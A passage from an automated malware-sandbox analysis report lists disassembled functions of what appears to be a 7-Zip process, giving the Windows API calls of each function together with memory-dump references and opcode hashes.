                                                                                                                                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,RtlGetVersion), ref: 00C57ED7
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: AddressHandleModuleProc
                                                                                                                                                                                                                                                                    • String ID: RtlGetVersion$ntdll.dll
                                                                                                                                                                                                                                                                    • API String ID: 1646373207-1489217083
                                                                                                                                                                                                                                                                    • Opcode ID: 9ea0871da04d762a24247426a6855191e0390782851935f7b33317491e570ae1
                                                                                                                                                                                                                                                                    • Instruction ID: 3f7e6b3819a5fb1a055679c881ae0650c97104f6dcbb979ecfbfec9147df1115
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 9ea0871da04d762a24247426a6855191e0390782851935f7b33317491e570ae1
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 58F03734B442185FDB34A760EC4ABEE73A45B11B09F440BA4A519E1081DFB4DEC9CF69
                                                                                                                                                                                                                                                                    Function 00C7BBA3 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 28COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: fputs$fputc
                                                                                                                                                                                                                                                                    • String ID: $:
                                                                                                                                                                                                                                                                    • API String ID: 1185151155-4041779174
                                                                                                                                                                                                                                                                    • Opcode ID: f15389b95097fab49c0f2aef50f4f79b7147461f2109b97069da9943a8146666
                                                                                                                                                                                                                                                                    • Instruction ID: baabe8bd3172e827de47d10467f91cf50ca3fa27573cd3284f309a3b920a54ae
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: f15389b95097fab49c0f2aef50f4f79b7147461f2109b97069da9943a8146666
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 22F08235900258EBCF116B95CC09EDE7F69EF98314F040409EC9523251DB35A558DBA5
                                                                                                                                                                                                                                                                    Function 00C669BA Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20libraryloaderCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • GetModuleHandleW.KERNEL32(ntdll.dll,?,00C63B0F), ref: 00C669C2
                                                                                                                                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,RtlGetVersion), ref: 00C669D2
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: AddressHandleModuleProc
                                                                                                                                                                                                                                                                    • String ID: RtlGetVersion$ntdll.dll
                                                                                                                                                                                                                                                                    • API String ID: 1646373207-1489217083
                                                                                                                                                                                                                                                                    • Opcode ID: 9c2c1dafd6db7e5a11052b1db30bef9ba14e79e28d15b0146803bc44c9e60c00
                                                                                                                                                                                                                                                                    • Instruction ID: e29a40ec137d9506659fa2300ebe5d06bb2e09fafb1bd936678671da620a4032
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 9c2c1dafd6db7e5a11052b1db30bef9ba14e79e28d15b0146803bc44c9e60c00
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 15D0C9323582206AABB037B47C8EBEF168C8F51B557850466F810D1890EEA0DD8753A8
                                                                                                                                                                                                                                                                    Function 00C7DF7B Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • fputs.MSVCRT ref: 00C7DF88
                                                                                                                                                                                                                                                                    • fputs.MSVCRT ref: 00C7DF91
                                                                                                                                                                                                                                                                      • Part of subcall function 00C51F03: fputs.MSVCRT ref: 00C51F20
                                                                                                                                                                                                                                                                      • Part of subcall function 00C51C6A: fputc.MSVCRT ref: 00C51C71
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: fputs$fputc
                                                                                                                                                                                                                                                                    • String ID: F:v$Archives
                                                                                                                                                                                                                                                                    • API String ID: 1185151155-4092427145
                                                                                                                                                                                                                                                                    • Opcode ID: c191c07a750cc9ca7bc6dff8a9374ff88e43835a2ced3a74e445c7f31dc14297
                                                                                                                                                                                                                                                                    • Instruction ID: 2fca8b16d19cbe5a41c28b27602bf6917cfda4b189a4f4075298a9a3f830ffa8
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: c191c07a750cc9ca7bc6dff8a9374ff88e43835a2ced3a74e445c7f31dc14297
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 21D05B366042506BCB157FA99C09D6FBAA6FFC4B117190C1EF8C043260DF615C99AF95
                                                                                                                                                                                                                                                                    Function 00C830E0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • GetModuleHandleW.KERNEL32(kernel32.dll,GetLargePageMinimum,00C5B856), ref: 00C830EA
                                                                                                                                                                                                                                                                    • GetProcAddress.KERNEL32(00000000), ref: 00C830F1
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: AddressHandleModuleProc
                                                                                                                                                                                                                                                                    • String ID: GetLargePageMinimum$kernel32.dll
                                                                                                                                                                                                                                                                    • API String ID: 1646373207-2515562745
                                                                                                                                                                                                                                                                    • Opcode ID: ca08b9a9e103014343b5ee2af448dae52e6f214170ed2ca7f2fea58b6f85c40b
                                                                                                                                                                                                                                                                    • Instruction ID: 3fbb18961067aa191d06e470f98f3a2eb1fc286c5a714f4791a462792ecb6a49
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: ca08b9a9e103014343b5ee2af448dae52e6f214170ed2ca7f2fea58b6f85c40b
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 6BD0C7707407424A9B147BA19C5C71D3D985A10F8D340103AE511C5050DF74D705E73C
                                                                                                                                                                                                                                                                    Function 00C59289 Relevance: 6.3, APIs: 5, Instructions: 68COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • memcmp.MSVCRT(?,00C8CD78,00000010), ref: 00C5929F
                                                                                                                                                                                                                                                                    • memcmp.MSVCRT(?,00C8C4C8,00000010), ref: 00C592BA
                                                                                                                                                                                                                                                                    • memcmp.MSVCRT(?,00C8C4A8,00000010), ref: 00C592CE
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: memcmp
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 1475443563-0
                                                                                                                                                                                                                                                                    • Opcode ID: cf54bc2ce7a267d5bf27b346f4ba50eb24fdef9c5396fefc81f40ca0f4897575
                                                                                                                                                                                                                                                                    • Instruction ID: 101427046457b40ba5282d87b4fae660e14a7996cd84848ae7d75316b5346aeb
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: cf54bc2ce7a267d5bf27b346f4ba50eb24fdef9c5396fefc81f40ca0f4897575
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: FA11E631380305E7C7146E11CC42FB973E4DBA4B16F008478FC95AE292F2B5E698A7AC
                                                                                                                                                                                                                                                                    Function 00C53043 Relevance: 6.3, APIs: 5, Instructions: 66COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,000004B0,00000001,00000000,?,?,00C5186E,00000001,00000001,7FFFFFE0,00000001), ref: 00C5306F
                                                                                                                                                                                                                                                                    • GetLastError.KERNEL32(?,00C5186E,00000001,00000001,7FFFFFE0,00000001,00C7E343,?,?,00000000,00000001), ref: 00C53078
                                                                                                                                                                                                                                                                    • _CxxThrowException.MSVCRT(00000000,00C8D068), ref: 00C53092
                                                                                                                                                                                                                                                                    • MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,?,?,?,00C5186E,00000001,00000001,7FFFFFE0,00000001,00C7E343,?,?,00000000), ref: 00C530B7
                                                                                                                                                                                                                                                                    • _CxxThrowException.MSVCRT(00000000,00C8D068), ref: 00C530CD
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: ByteCharExceptionMultiThrowWide$ErrorLast
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 2296236218-0
                                                                                                                                                                                                                                                                    • Opcode ID: 8d2a9bb8a82eb7f31a34f3e55747597d9d6ddebb1e8d47fb12ca8ab3dcbd3b1d
                                                                                                                                                                                                                                                                    • Instruction ID: ac72ab5d3739bf0f804dc4cb923b15a6157d61742f280601278b64523ea8740c
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 8d2a9bb8a82eb7f31a34f3e55747597d9d6ddebb1e8d47fb12ca8ab3dcbd3b1d
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 69114CB5200205BF9720DF55CC81E6AB7EDEF847947108429F959C7280EB70EE45CBA8
                                                                                                                                                                                                                                                                    Function 00C6A15E Relevance: 6.3, APIs: 4, Instructions: 300stringCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00C6A163
                                                                                                                                                                                                                                                                      • Part of subcall function 00C54354: __EH_prolog.LIBCMT ref: 00C54359
                                                                                                                                                                                                                                                                    • strcmp.MSVCRT ref: 00C6A20D
                                                                                                                                                                                                                                                                      • Part of subcall function 00C5150C: __EH_prolog.LIBCMT ref: 00C51511
                                                                                                                                                                                                                                                                      • Part of subcall function 00C51A79: free.MSVCRT ref: 00C51A7D
                                                                                                                                                                                                                                                                    • memset.MSVCRT ref: 00C6A352
                                                                                                                                                                                                                                                                      • Part of subcall function 00C6AED4: __EH_prolog.LIBCMT ref: 00C6AED9
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog$freememsetstrcmp
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 149676679-0
                                                                                                                                                                                                                                                                    • Opcode ID: 0c7e45e3b2c54327fb2a65b844abf7ae36a9aa2b8ae3d90856e0664866fe3333
                                                                                                                                                                                                                                                                    • Instruction ID: 55ae840a1c59f847398d1032c489c661d916962361633e7895e3c774a59947f0
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 0c7e45e3b2c54327fb2a65b844abf7ae36a9aa2b8ae3d90856e0664866fe3333
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 30C17931C00108EFCF25EBE4C895AEDBBB4AF54314F248059E816B72A2DB355B49EF12
                                                                                                                                                                                                                                                                    Function 00C82511 Relevance: 6.1, APIs: 4, Instructions: 96COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00C82516
                                                                                                                                                                                                                                                                    • EnterCriticalSection.KERNEL32(00C94708,?,00000001,?,?,00C8286E,?,0000006F,?,?,00000000), ref: 00C8252A
                                                                                                                                                                                                                                                                    • fputs.MSVCRT ref: 00C8257B
                                                                                                                                                                                                                                                                    • LeaveCriticalSection.KERNEL32(00C94708,?,00000001,?,?,00C8286E,?,0000006F,?,?,00000000), ref: 00C82640
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: CriticalSection$EnterH_prologLeavefputs
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 2174113412-0
                                                                                                                                                                                                                                                                    • Opcode ID: cbfa3e40d6b25a0f828171bb3ed2329a841cae640fa0fdfd6d61899fab269a7a
                                                                                                                                                                                                                                                                    • Instruction ID: e7b229aed60b2569d76cc8703e6444d88102d056b1e943d82c7d01d2df8bbfc4
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: cbfa3e40d6b25a0f828171bb3ed2329a841cae640fa0fdfd6d61899fab269a7a
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 9F310135600380EFCF25AF64C498BAEBBE6FF45305F04442EF86A57210CB30A949EB59
                                                                                                                                                                                                                                                                    Function 00C670DE Relevance: 6.1, APIs: 4, Instructions: 91COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • GetFileSecurityW.ADVAPI32(?,00000007,?,?,?,00000000,?,00000000,?), ref: 00C67131
                                                                                                                                                                                                                                                                    • GetLastError.KERNEL32(?,00000000,?), ref: 00C67156
                                                                                                                                                                                                                                                                    • GetFileSecurityW.ADVAPI32(?,00000007,?,?,?,?,?,00000000,?), ref: 00C67193
                                                                                                                                                                                                                                                                    • GetLastError.KERNEL32(?,?,?,?,?,00000000,?), ref: 00C671A9
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: ErrorFileLastSecurity
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 555121230-0
                                                                                                                                                                                                                                                                    • Opcode ID: 6b528038b1f9685b67590de1d1c77c49f36215eaecd145f4671b04ac9d69e0cf
                                                                                                                                                                                                                                                                    • Instruction ID: 0e3965dbcedd459053337fa39d320fda4115d7e5dde3cff4dc822a52e85d9218
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 6b528038b1f9685b67590de1d1c77c49f36215eaecd145f4671b04ac9d69e0cf
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: D2318475904209EFDB21DFA4C8C4BAEB7B5FF45304F104A59E469A7250D770AE84DF60
                                                                                                                                                                                                                                                                    Function 00C5C552 Relevance: 6.1, APIs: 4, Instructions: 90COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00C5C557
                                                                                                                                                                                                                                                                      • Part of subcall function 00C560F5: __EH_prolog.LIBCMT ref: 00C560FA
                                                                                                                                                                                                                                                                    • _CxxThrowException.MSVCRT(?,00C8DE50), ref: 00C5C59B
                                                                                                                                                                                                                                                                    • _CxxThrowException.MSVCRT(?,00C8DE50), ref: 00C5C5C9
                                                                                                                                                                                                                                                                    • _CxxThrowException.MSVCRT(?,00C8DE50), ref: 00C5C5F0
                                                                                                                                                                                                                                                                      • Part of subcall function 00C688FE: __EH_prolog.LIBCMT ref: 00C68903
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: ExceptionH_prologThrow
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 461045715-0
                                                                                                                                                                                                                                                                    • Opcode ID: 2327285794b4360e9213ef8a17b30da6bbaa531e4c04b66148efeb049186a65c
                                                                                                                                                                                                                                                                    • Instruction ID: eb33a76ad576abfb0b8395b8a791a7702cfad5f191ef243e71cba35275a107bc
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 2327285794b4360e9213ef8a17b30da6bbaa531e4c04b66148efeb049186a65c
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 9B317C759002199FCF11EFD4C881AEEBB75BF48744F401016F91273251DB309A8AEBA8
                                                                                                                                                                                                                                                                    Function 00C56D9D Relevance: 6.1, APIs: 4, Instructions: 77COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00C56DA2
                                                                                                                                                                                                                                                                    • GetFileInformationByHandle.KERNEL32(000000FF,?,?,00000000,00000001,00000003,02200000,?,?,00000000), ref: 00C56DEE
                                                                                                                                                                                                                                                                    • DeviceIoControl.KERNEL32(000000FF,000900A8,00000000,00000000,00000000,00004000,?,00000000), ref: 00C56E1B
                                                                                                                                                                                                                                                                    • memcpy.MSVCRT(?,?,?,?,?,00000000,00000001,00000003,02200000,?,?,00000000), ref: 00C56E3A
                                                                                                                                                                                                                                                                      • Part of subcall function 00C51A79: free.MSVCRT ref: 00C51A7D
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: ControlDeviceFileH_prologHandleInformationfreememcpy
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 1689166341-0
                                                                                                                                                                                                                                                                    • Opcode ID: cb57598a85ea8a0a116a253793d2fe17a1ec82e8aa75bac8d33362eaa79f3642
                                                                                                                                                                                                                                                                    • Instruction ID: 06fb1592353120ba5fb23934b7bf5006d3b57a59823592a468410d7d01a19cc2
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: cb57598a85ea8a0a116a253793d2fe17a1ec82e8aa75bac8d33362eaa79f3642
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 3321D37A600104AFDF25EF94DC81AEE7BB9EF44751F10402EF91467191CB714E889B28
                                                                                                                                                                                                                                                                    Function 00C7926B Relevance: 6.1, APIs: 4, Instructions: 56COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00C79270
                                                                                                                                                                                                                                                                    • EnterCriticalSection.KERNEL32(00C946C0), ref: 00C7928C
                                                                                                                                                                                                                                                                    • LeaveCriticalSection.KERNEL32(00C946C0), ref: 00C792B4
                                                                                                                                                                                                                                                                    • LeaveCriticalSection.KERNEL32(00C946C0), ref: 00C792F5
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
